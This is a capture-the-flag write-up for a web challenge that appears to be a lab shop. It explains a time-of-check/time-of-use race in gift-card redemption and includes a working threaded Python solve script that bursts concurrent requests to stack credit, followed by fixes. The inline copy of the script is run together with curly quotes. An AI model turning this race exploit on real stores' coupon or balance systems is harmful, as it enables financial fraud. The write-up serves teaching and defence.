The store
FlashCart is a small shop. You register, log in, and land on a catalog with a few cheap items and one “members only” Founders Edition Hoodie for $200 that ships with the promo code we’re after. A new account starts at $0.00.
There’s a gift-card box at the top. Redeeming FLASH50 adds $50 to your balance:
Added $50.00 to your balance.
Try it again and you’re shut down:
You've already redeemed that gift card.
So one account, one $50 card, and a $200 target. We’re $150 short and the obvious lever (redeem again) is blocked. There’s no admin panel, no price tampering that sticks (the price is checked server-side at /buy), and registering more accounts doesn’t help because balances don’t combine. The interesting question is whether the “one redemption per account” rule actually holds.
Where the limit breaks
Think about what /redeem has to do, in order:
- Look up the gift card.
- Check whether this account has already redeemed this code.
- Talk to the gift-card processor to confirm the card is still good (this takes a moment).
- Add the value to the balance and write a row recording the redemption.
Step 2 reads the redemption history; step 4 writes to it. Nothing holds a lock on the account in between, and step 3 keeps the request busy for a noticeable window. That’s a classic time-of-check to time-of-use (TOCTOU) gap.
If you send a single request at a time, step 4 always commits before your next request reaches step 2, so the limit works. But if you send a dozen requests simultaneously on the same logged-in session, they all reach step 2 together, all see “no redemption recorded yet,” all wait on the processor, and all proceed to credit you $50. The balance increment is atomic (balance = balance + 50), so none of the credits are lost. Twelve requests through the window means $600.
It’s the same shape of bug that shows up whenever a uniqueness check and the write that’s supposed to enforce it aren’t done atomically.
Exploiting it
Log in once to get a session cookie, then throw a burst of identical redeem requests at the server using that one cookie. A handful of threads is plenty:
import secrets, sys, threading, requests
BASE = sys.argv[1].rstrip("/")
USER, PW = "racer_" + secrets.token_hex(4), "racer-pw"
s = requests.Session()
s.post(f"{BASE}/register", data={"username": USER, "password": PW})
s.post(f"{BASE}/login", data={"username": USER, "password": PW})
cookies = s.cookies.copy()
def redeem():
requests.post(f"{BASE}/redeem", data={"code": "FLASH50"}, cookies=cookies)
ts = [threading.Thread(target=redeem) for _ in range(25)]
[t.start() for t in ts]
[t.join() for t in ts] r = s.post(f”{BASE}/buy”, data={“item”: 4}) # item 4 = Founders Edition Hoodie i = r.text.index(“SkillBit{“) print(r.text[i:r.text.index(“}”, i) + 1])
After the burst the balance is well over $200, the /buy request for the hoodie succeeds, and the confirmation message hands over the flag. You can do the same thing with Burp Intruder (send /redeem to Intruder, null payloads, max concurrent threads) or ffuf if you’d rather not script it.
Fix
Enforce the limit where it can’t be raced: a UNIQUE(user_id, code) constraint on the redemptions table so the second insert fails, or wrap the check-and-insert in a single transaction with the row locked (SELECT ... FOR UPDATE), or do the whole thing as one conditional statement (INSERT ... WHERE NOT EXISTS). Any of those collapse the window the burst relies on.
solve.py
#!/usr/bin/env python3
"""
Flash Sale solve script.
The gift-card redemption checks "have you used this code?" and then, after a
short processor round-trip, credits your balance and records the redemption.
Those two steps aren't atomic, so if we fire many redemptions at once they all
pass the check before any of them records anything, and each one credits $50.
Stack enough credit to buy the $200 Founders Edition Hoodie, which prints the
flag.
Usage: python3 solve.py http://HOST:PORT
"""
import secrets
import sys
import threading
import requests
BASE = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://localhost:8088"
USER = "racer_" + secrets.token_hex(4)
PW = "racer-pw"
HOODIE_ID = 4
BURST = 25
s = requests.Session()
s.post(f"{BASE}/register", data={"username": USER, "password": PW})
s.post(f"{BASE}/login", data={"username": USER, "password": PW})
# Reuse the authenticated cookie across all threads and let them collide in the
# check-then-credit window.
cookies = s.cookies.copy()
def redeem():
requests.post(f"{BASE}/redeem", data={"code": "FLASH50"},
cookies=cookies)
threads = [threading.Thread(target=redeem) for _ in range(BURST)]
for t in threads:
t.start()
for t in threads:
t.join()
# Buy the flag item now that the balance is stacked.
r = s.post(f"{BASE}/buy", data={"item": HOODIE_ID}, allow_redirects=True)
for line in r.text.splitlines():
if "SkillBit{" in line:
start = line.index("SkillBit{")
end = line.index("}", start) + 1
print(line[start:end])
break
else:
print("[!] no flag yet; raise BURST and retry")
sys.exit(1)